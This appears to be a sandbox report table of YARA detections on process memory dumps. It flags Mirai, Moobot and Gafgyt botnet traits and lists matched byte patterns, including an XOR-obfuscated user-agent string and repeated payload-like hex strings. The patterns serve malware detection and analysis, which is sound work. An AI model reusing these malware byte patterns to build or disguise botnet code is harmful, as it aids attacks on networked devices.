7104.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7377.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7377.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7377.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7377.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7377.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7377.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7359.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7359.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7359.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7359.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7359.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7359.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7281.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6806.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6806.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6806.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6806.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6806.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6806.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6619.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6619.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6619.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6619.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6619.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6619.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7387.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7387.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7387.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7387.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7387.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7387.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6377.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6319.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6319.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6319.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6319.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6319.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
